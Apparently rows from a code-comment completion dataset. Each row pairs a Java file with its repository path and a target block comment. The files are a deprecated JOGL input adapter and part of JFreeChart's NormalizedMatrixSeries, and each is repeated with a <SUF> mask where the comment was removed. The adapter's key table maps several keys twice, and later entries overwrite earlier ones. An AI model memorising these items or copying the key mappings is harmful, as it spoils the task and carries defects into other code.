sKeyCodeRemap.put(KeyEvent.VK_2, K_KP_2);
sKeyCodeRemap.put(KeyEvent.VK_3, K_KP_3);
sKeyCodeRemap.put(KeyEvent.VK_4, K_KP_4);
sKeyCodeRemap.put(KeyEvent.VK_5, K_KP_5);
sKeyCodeRemap.put(KeyEvent.VK_6, K_KP_6);
sKeyCodeRemap.put(KeyEvent.VK_7, K_KP_7);
sKeyCodeRemap.put(KeyEvent.VK_8, K_KP_8);
sKeyCodeRemap.put(KeyEvent.VK_9, K_KP_9);
}
private static final int KEY_NONE = 0;
private static final int KEY_TYPE = 1;
private static final int KEY_UP = 2;
private static final int KEY_DOWN = 3;
public static final int MAX_EVENT_COUNT = 16;
private final Object localObj = sKeyCodeRemap;
private KeyEventListener keyEvent;
private TouchEventListener mouseEvent;
private WindowEventListener windowEvent;
private final NvPointerEvent[] touchPoint = new NvPointerEvent[MAX_EVENT_COUNT];
private int mouseX, mouseY;
private int pointCursor;
private int mouseCursor;
private final Pool<_KeyEvent> keyEventPool;
private final List<_KeyEvent> keyEventsBuffer = new ArrayList<_KeyEvent>();
private final List<_KeyEvent> keyEvents = new ArrayList<_KeyEvent>();
private final Pool<NvPointerEvent> touchEventPool;
private final List<NvPointerEvent> touchEvents = new ArrayList<>();
private final List<NvPointerEvent> touchEventsBuffer = new ArrayList<>();
private final NvPointerEvent[][] specialEvents = new NvPointerEvent[6][12];
private int mainCursor;
private final int[] subCursor = new int[6];
private final int[] eventType = new int[6];
public JoglInputAdapter() {
this(null, null, null);
}
public JoglInputAdapter(KeyEventListener keyEvent, TouchEventListener mouseEvent) {
this(keyEvent, mouseEvent, null);
}
public JoglInputAdapter(KeyEventListener keyEvent, TouchEventListener mouseEvent, WindowEventListener windowEvent) {
this.keyEvent = keyEvent;
this.mouseEvent = mouseEvent;
this.windowEvent = windowEvent;
for(int i = 0; i < touchPoint.length; i++){
touchPoint[i] = new NvPointerEvent();
}
keyEventPool = new Pool<>(()->new _KeyEvent());
touchEventPool = new Pool<>(()->new NvPointerEvent());
}
static boolean isPrintableKey(int code){
return false;
}
public void pollEvents(){
List<_KeyEvent> events = getKeyEvents();
List<NvPointerEvent> pEvents = getTouchEvents();
synchronized (localObj){
for(int i = 0; i < events.size(); i++){
_KeyEvent e = events.get(i);
int code = e.keyCode;
char keyChar = e.keyChar;
final Integer key = sKeyCodeRemap.get(code);
if(key == null) {
continue;
}
/*handled = mInputListener.keyInput(code, down ? NvKeyActionType.DOWN : NvKeyActionType.UP);
if(!handled && down){
char c = e.keyChar;
if(c != 0)
mInputListener.characterInput(c);
}*/
if(keyEvent != null){
switch (e.action) {
case DOWN:
if(!isPrintableKey(code)){
keyEvent.keyPressed(key, keyChar);
}
break;
case REPEAT:
if(!isPrintableKey(code)){
keyEvent.keyTyped(key, keyChar);
}
break;
case UP:
if(!isPrintableKey(code)){
keyEvent.keyReleased(key, keyChar);
}else{
keyEvent.keyReleased(key, keyChar);
}
break;
default:
break;
}
}
}
if(mouseEvent == null)
return;
if(pEvents.size() > 0){
splitEvents(pEvents);
for(int i = 0; i <= mainCursor; i++){
// mInputListener.pointerInput(NvInputDeviceType.TOUCH, eventType[i], 0, subCursor[i], specialEvents[i]);
switch (eventType[i]){
case NvPointerActionType.DOWN:
mouseEvent.touchPressed(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
case NvPointerActionType.UP:
mouseEvent.touchReleased(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
case NvPointerActionType.MOTION:
mouseEvent.touchMoved(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
}
}
}
}
}
private final void splitEvents(List<NvPointerEvent> pEvents){
mainCursor = -1;
Arrays.fill(subCursor, 0);
int size = pEvents.size();
int lastType = -1;
for(int i = 0; i < size; i++){
NvPointerEvent event = pEvents.get(i);
if(event.type !=lastType){
lastType = event.type;
mainCursor ++;
int pact = event.type;
eventType[mainCursor] = pact;
}
specialEvents[mainCursor][subCursor[mainCursor] ++] = event;
}
}
@Override
public void keyTyped(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.REPEAT;
/*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void keyPressed(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.DOWN;
/*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void keyReleased(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.UP;
/*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void mouseClicked(MouseEvent mouseEvent) {}
@Override
public void mousePressed(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.DOWN;
touchEvent.m_id = 1 << e.getButton();
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
LogUtil.i(LogUtil.LogType.DEFAULT, "mousePressed: " + e.paramString());
}
}
@Override
public void mouseReleased(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.UP;
touchEvent.m_id = 1 << e.getButton();
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
LogUtil.i(LogUtil.LogType.DEFAULT, "mouseReleased: " + e.paramString());
LogUtil.i(LogUtil.LogType.DEFAULT, "mouseReleased: " + Thread.currentThread().getName());
}
}
@Override
public void mouseEntered(MouseEvent e) {
if(mouseEvent != null){
mouseEvent.cursorEnter(true); // TODO It's not thread safe
}
}
@Override
public void mouseExited(MouseEvent e) {
if(mouseEvent != null){
mouseEvent.cursorEnter(false); // TODO It's not thread safe
}
}
@Override
public void mouseDragged(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.MOTION;
touchEvent.m_id = 1<<e.getButton(); // TODO It's not precies.
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
}
}
@Override
public void mouseMoved(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.MOTION;
touchEvent.m_id = 0;
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
}
}
public KeyEventListener getKeyEventListener() {
return keyEvent;
}
public void setKeyEventListener(KeyEventListener keyEvent) {
this.keyEvent = keyEvent;
}
public TouchEventListener getMouseEventListener() {
return mouseEvent;
}
public void setMouseEventListener(TouchEventListener mouseEvent) {
this.mouseEvent = mouseEvent;
}
public WindowEventListener getWindowEventListener() {
return windowEvent;
}
public void setWindowEventListener(WindowEventListener windowEvent) {
this.windowEvent = windowEvent;
}
private static final class _KeyEvent{
NvKeyActionType action;
int keyCode;
char keyChar;
int modifiers;
}
private List<_KeyEvent> getKeyEvents(){
synchronized (this) {
int len = keyEvents.size();
for(int i = 0; i < len; i++)
keyEventPool.free(keyEvents.get(i));
keyEvents.clear();
keyEvents.addAll(keyEventsBuffer);
keyEventsBuffer.clear();
return keyEvents;
}
}
List<NvPointerEvent> getTouchEvents(){
synchronized (this) {
int len = touchEvents.size();
for(int i = 0; i < len; i++)
touchEventPool.free(touchEvents.get(i));
touchEvents.clear();
touchEvents.addAll(touchEventsBuffer);
touchEventsBuffer.clear();
return touchEvents;
}
}
}
| mzhg/PostProcessingWork | jogl/src/main/java/jet/opengl/desktop/jogl/JoglInputAdapter.java | 6,180 | /*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/ | block_comment | nl | package jet.opengl.desktop.jogl;
import com.nvidia.developer.opengl.app.KeyEventListener;
import com.nvidia.developer.opengl.app.NvInputDeviceType;
import com.nvidia.developer.opengl.app.NvKey;
import com.nvidia.developer.opengl.app.NvKeyActionType;
import com.nvidia.developer.opengl.app.NvPointerActionType;
import com.nvidia.developer.opengl.app.NvPointerEvent;
import com.nvidia.developer.opengl.app.TouchEventListener;
import com.nvidia.developer.opengl.app.WindowEventListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.awt.event.MouseMotionListener;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import jet.opengl.postprocessing.util.LogUtil;
import jet.opengl.postprocessing.util.Pool;
/**
* Created by mazhen'gui on 2017/10/12.
*/
@Deprecated
final class JoglInputAdapter implements MouseMotionListener, MouseListener, KeyListener, NvKey {
private static final HashMap<Integer, Integer> sKeyCodeRemap = new HashMap<Integer, Integer>(128);
static{
sKeyCodeRemap.put(KeyEvent.VK_ESCAPE, K_ESC);
sKeyCodeRemap.put(KeyEvent.VK_F1, K_F1);
sKeyCodeRemap.put(KeyEvent.VK_F2, K_F2);
sKeyCodeRemap.put(KeyEvent.VK_F3, K_F3);
sKeyCodeRemap.put(KeyEvent.VK_F4, K_F4);
sKeyCodeRemap.put(KeyEvent.VK_F5, K_F5);
sKeyCodeRemap.put(KeyEvent.VK_F6, K_F6);
sKeyCodeRemap.put(KeyEvent.VK_F7, K_F7);
sKeyCodeRemap.put(KeyEvent.VK_F8, K_F8);
sKeyCodeRemap.put(KeyEvent.VK_F9, K_F9);
sKeyCodeRemap.put(KeyEvent.VK_F10, K_F10);
sKeyCodeRemap.put(KeyEvent.VK_F11, K_F11);
sKeyCodeRemap.put(KeyEvent.VK_F12, K_F12);
sKeyCodeRemap.put(KeyEvent.VK_PRINTSCREEN, K_PRINT_SCREEN);
sKeyCodeRemap.put(KeyEvent.VK_SCROLL_LOCK, K_SCROLL_LOCK);
sKeyCodeRemap.put(KeyEvent.VK_PAUSE, K_PAUSE);
sKeyCodeRemap.put(KeyEvent.VK_INSERT, K_INSERT);
sKeyCodeRemap.put(KeyEvent.VK_DELETE, K_DELETE);
sKeyCodeRemap.put(KeyEvent.VK_HOME, K_HOME);
sKeyCodeRemap.put(KeyEvent.VK_END, K_END);
sKeyCodeRemap.put(KeyEvent.VK_PAGE_UP, K_PAGE_UP);
sKeyCodeRemap.put(KeyEvent.VK_PAGE_DOWN, K_PAGE_DOWN);
sKeyCodeRemap.put(KeyEvent.VK_UP, K_ARROW_UP);
sKeyCodeRemap.put(KeyEvent.VK_DOWN, K_ARROW_DOWN);
sKeyCodeRemap.put(KeyEvent.VK_LEFT, K_ARROW_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_RIGHT, K_ARROW_RIGHT);
// sKeyCodeRemap.put(KeyEvent.VK_ACCENT_GRAVE, K_ACCENT_GRAVE);
sKeyCodeRemap.put(KeyEvent.VK_0, K_0);
sKeyCodeRemap.put(KeyEvent.VK_1, K_1);
sKeyCodeRemap.put(KeyEvent.VK_2, K_2);
sKeyCodeRemap.put(KeyEvent.VK_3, K_3);
sKeyCodeRemap.put(KeyEvent.VK_4, K_4);
sKeyCodeRemap.put(KeyEvent.VK_5, K_5);
sKeyCodeRemap.put(KeyEvent.VK_6, K_6);
sKeyCodeRemap.put(KeyEvent.VK_7, K_7);
sKeyCodeRemap.put(KeyEvent.VK_8, K_8);
sKeyCodeRemap.put(KeyEvent.VK_9, K_9);
sKeyCodeRemap.put(KeyEvent.VK_MINUS, K_MINUS);
sKeyCodeRemap.put(KeyEvent.VK_EQUALS, K_EQUAL);
sKeyCodeRemap.put(KeyEvent.VK_BACK_SLASH, K_BACKSPACE);
sKeyCodeRemap.put(KeyEvent.VK_TAB, K_TAB);
sKeyCodeRemap.put(KeyEvent.VK_Q, K_Q);
sKeyCodeRemap.put(KeyEvent.VK_W, K_W);
sKeyCodeRemap.put(KeyEvent.VK_E, K_E);
sKeyCodeRemap.put(KeyEvent.VK_R, K_R);
sKeyCodeRemap.put(KeyEvent.VK_T, K_T);
sKeyCodeRemap.put(KeyEvent.VK_Y, K_Y);
sKeyCodeRemap.put(KeyEvent.VK_U, K_U);
sKeyCodeRemap.put(KeyEvent.VK_I, K_I);
sKeyCodeRemap.put(KeyEvent.VK_O, K_O);
sKeyCodeRemap.put(KeyEvent.VK_P, K_P);
sKeyCodeRemap.put(KeyEvent.VK_BRACELEFT, K_LBRACKET);
sKeyCodeRemap.put(KeyEvent.VK_BRACERIGHT, K_RBRACKET);
sKeyCodeRemap.put(KeyEvent.VK_BACK_SLASH, K_BACKSLASH);
sKeyCodeRemap.put(KeyEvent.VK_CAPS_LOCK, K_CAPS_LOCK);
sKeyCodeRemap.put(KeyEvent.VK_A, K_A);
sKeyCodeRemap.put(KeyEvent.VK_S, K_S);
sKeyCodeRemap.put(KeyEvent.VK_D, K_D);
sKeyCodeRemap.put(KeyEvent.VK_F, K_F);
sKeyCodeRemap.put(KeyEvent.VK_G, K_G);
sKeyCodeRemap.put(KeyEvent.VK_H, K_H);
sKeyCodeRemap.put(KeyEvent.VK_J, K_J);
sKeyCodeRemap.put(KeyEvent.VK_K, K_K);
sKeyCodeRemap.put(KeyEvent.VK_L, K_L);
sKeyCodeRemap.put(KeyEvent.VK_SEMICOLON, K_SEMICOLON);
// sKeyCodeRemap.put(KeyEvent.VK_, K_APOSTROPHE);
sKeyCodeRemap.put(KeyEvent.VK_ENTER, K_ENTER);
sKeyCodeRemap.put(KeyEvent.VK_SHIFT, K_SHIFT_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_Z, K_Z);
sKeyCodeRemap.put(KeyEvent.VK_X, K_X);
sKeyCodeRemap.put(KeyEvent.VK_C, K_C);
sKeyCodeRemap.put(KeyEvent.VK_V, K_V);
sKeyCodeRemap.put(KeyEvent.VK_B, K_B);
sKeyCodeRemap.put(KeyEvent.VK_N, K_N);
sKeyCodeRemap.put(KeyEvent.VK_M, K_M);
sKeyCodeRemap.put(KeyEvent.VK_COMMA, K_COMMA);
sKeyCodeRemap.put(KeyEvent.VK_PERIOD, K_PERIOD);
sKeyCodeRemap.put(KeyEvent.VK_SLASH, K_SLASH);
sKeyCodeRemap.put(KeyEvent.VK_SHIFT, K_SHIFT_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_CONTROL, K_CTRL_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_WINDOWS, K_WINDOWS_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_ALT, K_ALT_LEFT);
sKeyCodeRemap.put(KeyEvent.VK_SPACE, K_SPACE);
sKeyCodeRemap.put(KeyEvent.VK_ALT, K_ALT_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_WINDOWS, K_WINDOWS_RIGHT);
// sKeyCodeRemap.put(KeyEvent.VK_, K_CONTEXT); TODO
sKeyCodeRemap.put(KeyEvent.VK_CONTROL, K_CTRL_RIGHT);
sKeyCodeRemap.put(KeyEvent.VK_NUM_LOCK, K_NUMLOCK);
sKeyCodeRemap.put(KeyEvent.VK_DIVIDE, K_KP_DIVIDE);
sKeyCodeRemap.put(KeyEvent.VK_MULTIPLY, K_KP_MULTIPLY);
sKeyCodeRemap.put(KeyEvent.VK_SUBTRACT, K_KP_SUBTRACT);
sKeyCodeRemap.put(KeyEvent.VK_ADD, K_KP_ADD);
sKeyCodeRemap.put(KeyEvent.VK_ENTER, K_KP_ENTER);
sKeyCodeRemap.put(KeyEvent.VK_DECIMAL, K_KP_DECIMAL);
sKeyCodeRemap.put(KeyEvent.VK_0, K_KP_0);
sKeyCodeRemap.put(KeyEvent.VK_1, K_KP_1);
sKeyCodeRemap.put(KeyEvent.VK_2, K_KP_2);
sKeyCodeRemap.put(KeyEvent.VK_3, K_KP_3);
sKeyCodeRemap.put(KeyEvent.VK_4, K_KP_4);
sKeyCodeRemap.put(KeyEvent.VK_5, K_KP_5);
sKeyCodeRemap.put(KeyEvent.VK_6, K_KP_6);
sKeyCodeRemap.put(KeyEvent.VK_7, K_KP_7);
sKeyCodeRemap.put(KeyEvent.VK_8, K_KP_8);
sKeyCodeRemap.put(KeyEvent.VK_9, K_KP_9);
}
private static final int KEY_NONE = 0;
private static final int KEY_TYPE = 1;
private static final int KEY_UP = 2;
private static final int KEY_DOWN = 3;
public static final int MAX_EVENT_COUNT = 16;
private final Object localObj = sKeyCodeRemap;
private KeyEventListener keyEvent;
private TouchEventListener mouseEvent;
private WindowEventListener windowEvent;
private final NvPointerEvent[] touchPoint = new NvPointerEvent[MAX_EVENT_COUNT];
private int mouseX, mouseY;
private int pointCursor;
private int mouseCursor;
private final Pool<_KeyEvent> keyEventPool;
private final List<_KeyEvent> keyEventsBuffer = new ArrayList<_KeyEvent>();
private final List<_KeyEvent> keyEvents = new ArrayList<_KeyEvent>();
private final Pool<NvPointerEvent> touchEventPool;
private final List<NvPointerEvent> touchEvents = new ArrayList<>();
private final List<NvPointerEvent> touchEventsBuffer = new ArrayList<>();
private final NvPointerEvent[][] specialEvents = new NvPointerEvent[6][12];
private int mainCursor;
private final int[] subCursor = new int[6];
private final int[] eventType = new int[6];
public JoglInputAdapter() {
this(null, null, null);
}
public JoglInputAdapter(KeyEventListener keyEvent, TouchEventListener mouseEvent) {
this(keyEvent, mouseEvent, null);
}
public JoglInputAdapter(KeyEventListener keyEvent, TouchEventListener mouseEvent, WindowEventListener windowEvent) {
this.keyEvent = keyEvent;
this.mouseEvent = mouseEvent;
this.windowEvent = windowEvent;
for(int i = 0; i < touchPoint.length; i++){
touchPoint[i] = new NvPointerEvent();
}
keyEventPool = new Pool<>(()->new _KeyEvent());
touchEventPool = new Pool<>(()->new NvPointerEvent());
}
static boolean isPrintableKey(int code){
return false;
}
public void pollEvents(){
List<_KeyEvent> events = getKeyEvents();
List<NvPointerEvent> pEvents = getTouchEvents();
synchronized (localObj){
for(int i = 0; i < events.size(); i++){
_KeyEvent e = events.get(i);
int code = e.keyCode;
char keyChar = e.keyChar;
final Integer key = sKeyCodeRemap.get(code);
if(key == null) {
continue;
}
/*handled = mInputListener.keyInput(code, down ? NvKeyActionType.DOWN : NvKeyActionType.UP);
if(!handled && down){
char c = e.keyChar;
if(c != 0)
mInputListener.characterInput(c);
}*/
if(keyEvent != null){
switch (e.action) {
case DOWN:
if(!isPrintableKey(code)){
keyEvent.keyPressed(key, keyChar);
}
break;
case REPEAT:
if(!isPrintableKey(code)){
keyEvent.keyTyped(key, keyChar);
}
break;
case UP:
if(!isPrintableKey(code)){
keyEvent.keyReleased(key, keyChar);
}else{
keyEvent.keyReleased(key, keyChar);
}
break;
default:
break;
}
}
}
if(mouseEvent == null)
return;
if(pEvents.size() > 0){
splitEvents(pEvents);
for(int i = 0; i <= mainCursor; i++){
// mInputListener.pointerInput(NvInputDeviceType.TOUCH, eventType[i], 0, subCursor[i], specialEvents[i]);
switch (eventType[i]){
case NvPointerActionType.DOWN:
mouseEvent.touchPressed(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
case NvPointerActionType.UP:
mouseEvent.touchReleased(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
case NvPointerActionType.MOTION:
mouseEvent.touchMoved(NvInputDeviceType.MOUSE, subCursor[i], specialEvents[i]);
break;
}
}
}
}
}
private final void splitEvents(List<NvPointerEvent> pEvents){
mainCursor = -1;
Arrays.fill(subCursor, 0);
int size = pEvents.size();
int lastType = -1;
for(int i = 0; i < size; i++){
NvPointerEvent event = pEvents.get(i);
if(event.type !=lastType){
lastType = event.type;
mainCursor ++;
int pact = event.type;
eventType[mainCursor] = pact;
}
specialEvents[mainCursor][subCursor[mainCursor] ++] = event;
}
}
@Override
public void keyTyped(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.REPEAT;
/*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void keyPressed(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.DOWN;
/*if(keyCode > 0 && keyCode <127)
pressedKeys[keyCode] = keyEvent.down;*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void keyReleased(KeyEvent e) {
synchronized (localObj){
_KeyEvent keyEvent = keyEventPool.obtain();
keyEvent.keyCode = e.getKeyCode();
keyEvent.keyChar = e.getKeyChar();
keyEvent.action = NvKeyActionType.UP;
/*if(keyCode > 0<SUF>*/
keyEventsBuffer.add(keyEvent);
}
}
@Override
public void mouseClicked(MouseEvent mouseEvent) {}
@Override
public void mousePressed(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.DOWN;
touchEvent.m_id = 1 << e.getButton();
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
LogUtil.i(LogUtil.LogType.DEFAULT, "mousePressed: " + e.paramString());
}
}
@Override
public void mouseReleased(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.UP;
touchEvent.m_id = 1 << e.getButton();
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
LogUtil.i(LogUtil.LogType.DEFAULT, "mouseReleased: " + e.paramString());
LogUtil.i(LogUtil.LogType.DEFAULT, "mouseReleased: " + Thread.currentThread().getName());
}
}
@Override
public void mouseEntered(MouseEvent e) {
if(mouseEvent != null){
mouseEvent.cursorEnter(true); // TODO It's not thread safe
}
}
@Override
public void mouseExited(MouseEvent e) {
if(mouseEvent != null){
mouseEvent.cursorEnter(false); // TODO It's not thread safe
}
}
@Override
public void mouseDragged(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.MOTION;
touchEvent.m_id = 1<<e.getButton(); // TODO It's not precies.
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
}
}
@Override
public void mouseMoved(MouseEvent e) {
synchronized (localObj){
NvPointerEvent touchEvent;
touchEvent = touchEventPool.obtain();
touchEvent.type = NvPointerActionType.MOTION;
touchEvent.m_id = 0;
touchEvent.m_x = e.getX() /*touchX[pointerId] = (int) (event.getX(pointerIndex) + 0.5f)*/;
touchEvent.m_y = e.getY() /*touchY[pointerId] = (int) (event.getY(pointerIndex) + 0.5f)*/;
// isTouched[pointerId] = true;
touchEventsBuffer.add(touchEvent);
}
}
public KeyEventListener getKeyEventListener() {
return keyEvent;
}
public void setKeyEventListener(KeyEventListener keyEvent) {
this.keyEvent = keyEvent;
}
public TouchEventListener getMouseEventListener() {
return mouseEvent;
}
public void setMouseEventListener(TouchEventListener mouseEvent) {
this.mouseEvent = mouseEvent;
}
public WindowEventListener getWindowEventListener() {
return windowEvent;
}
public void setWindowEventListener(WindowEventListener windowEvent) {
this.windowEvent = windowEvent;
}
private static final class _KeyEvent{
NvKeyActionType action;
int keyCode;
char keyChar;
int modifiers;
}
private List<_KeyEvent> getKeyEvents(){
synchronized (this) {
int len = keyEvents.size();
for(int i = 0; i < len; i++)
keyEventPool.free(keyEvents.get(i));
keyEvents.clear();
keyEvents.addAll(keyEventsBuffer);
keyEventsBuffer.clear();
return keyEvents;
}
}
List<NvPointerEvent> getTouchEvents(){
synchronized (this) {
int len = touchEvents.size();
for(int i = 0; i < len; i++)
touchEventPool.free(touchEvents.get(i));
touchEvents.clear();
touchEvents.addAll(touchEventsBuffer);
touchEventsBuffer.clear();
return touchEvents;
}
}
}
|
6529_12 | /* ===========================================================
* JFreeChart : a free chart library for the Java(tm) platform
* ===========================================================
*
* (C) Copyright 2000-2022, by David Gilbert and Contributors.
*
* Project Info: http://www.jfree.org/jfreechart/index.html
*
* This library is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2.1 of the License, or
* (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
* License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,
* USA.
*
* [Oracle and Java are registered trademarks of Oracle and/or its affiliates.
* Other names may be trademarks of their respective owners.]
*
* ---------------------------
* NormalizedMatrixSeries.java
* ---------------------------
* (C) Copyright 2003-2020, by Barak Naveh and Contributors.
*
* Original Author: Barak Naveh;
* Contributor(s): David Gilbert;
*
*/
package org.jfree.data.xy;
/**
* Represents a dense normalized matrix M[i,j] where each Mij item of the
* matrix has a value (default is 0). When a matrix item is observed using
* {@code getItem()} method, it is normalized, that is, divided by the
* total sum of all items. It can be also be scaled by setting a scale factor.
*/
public class NormalizedMatrixSeries extends MatrixSeries {
/** The default scale factor. */
public static final double DEFAULT_SCALE_FACTOR = 1.0;
/**
* A factor that multiplies each item in this series when observed using
* getItem method.
*/
private double m_scaleFactor = DEFAULT_SCALE_FACTOR;
/** The sum of all items in this matrix */
private double m_totalSum;
/**
* Constructor for NormalizedMatrixSeries.
*
* @param name the series name.
* @param rows the number of rows.
* @param columns the number of columns.
*/
public NormalizedMatrixSeries(String name, int rows, int columns) {
super(name, rows, columns);
/*
* we assum super is always initialized to all-zero matrix, so the
* total sum should be 0 upon initialization. However, we set it to
* Double.MIN_VALUE to get the same effect and yet avoid division by 0
* upon initialization.
*/
this.m_totalSum = Double.MIN_VALUE;
}
/**
* Returns an item.
*
* @param itemIndex the index.
*
* @return The value.
*
* @see org.jfree.data.xy.MatrixSeries#getItem(int)
*/
@Override
public Number getItem(int itemIndex) {
int i = getItemRow(itemIndex);
int j = getItemColumn(itemIndex);
double mij = get(i, j) * this.m_scaleFactor;
Number n = mij / this.m_totalSum;
return n;
}
/**
* Sets the factor that multiplies each item in this series when observed
* using getItem mehtod.
*
* @param factor new factor to set.
*
* @see #DEFAULT_SCALE_FACTOR
*/
public void setScaleFactor(double factor) {
this.m_scaleFactor = factor;
// FIXME: this should generate a series change event
}
/**
* Returns the factor that multiplies each item in this series when
* observed using getItem mehtod.
*
* @return The factor
*/
public double getScaleFactor() {
return this.m_scaleFactor;
}
/**
* Updates the value of the specified item in this matrix series.
*
* @param i the row of the item.
* @param j the column of the item.
* @param mij the new value for the item.
*
* @see #get(int, int)
*/
@Override
public void update(int i, int j, double mij) {
this.m_totalSum -= get(i, j);
this.m_totalSum += mij;
super.update(i, j, mij);
}
/**
* @see org.jfree.data.xy.MatrixSeries#zeroAll()
*/
@Override
public void zeroAll() {
this.m_totalSum = 0;
super.zeroAll();
}
}
| nagyist/jfreechart | src/main/java/org/jfree/data/xy/NormalizedMatrixSeries.java | 1,382 | /**
* @see org.jfree.data.xy.MatrixSeries#zeroAll()
*/ | block_comment | nl | /* ===========================================================
* JFreeChart : a free chart library for the Java(tm) platform
* ===========================================================
*
* (C) Copyright 2000-2022, by David Gilbert and Contributors.
*
* Project Info: http://www.jfree.org/jfreechart/index.html
*
* This library is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2.1 of the License, or
* (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
* License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,
* USA.
*
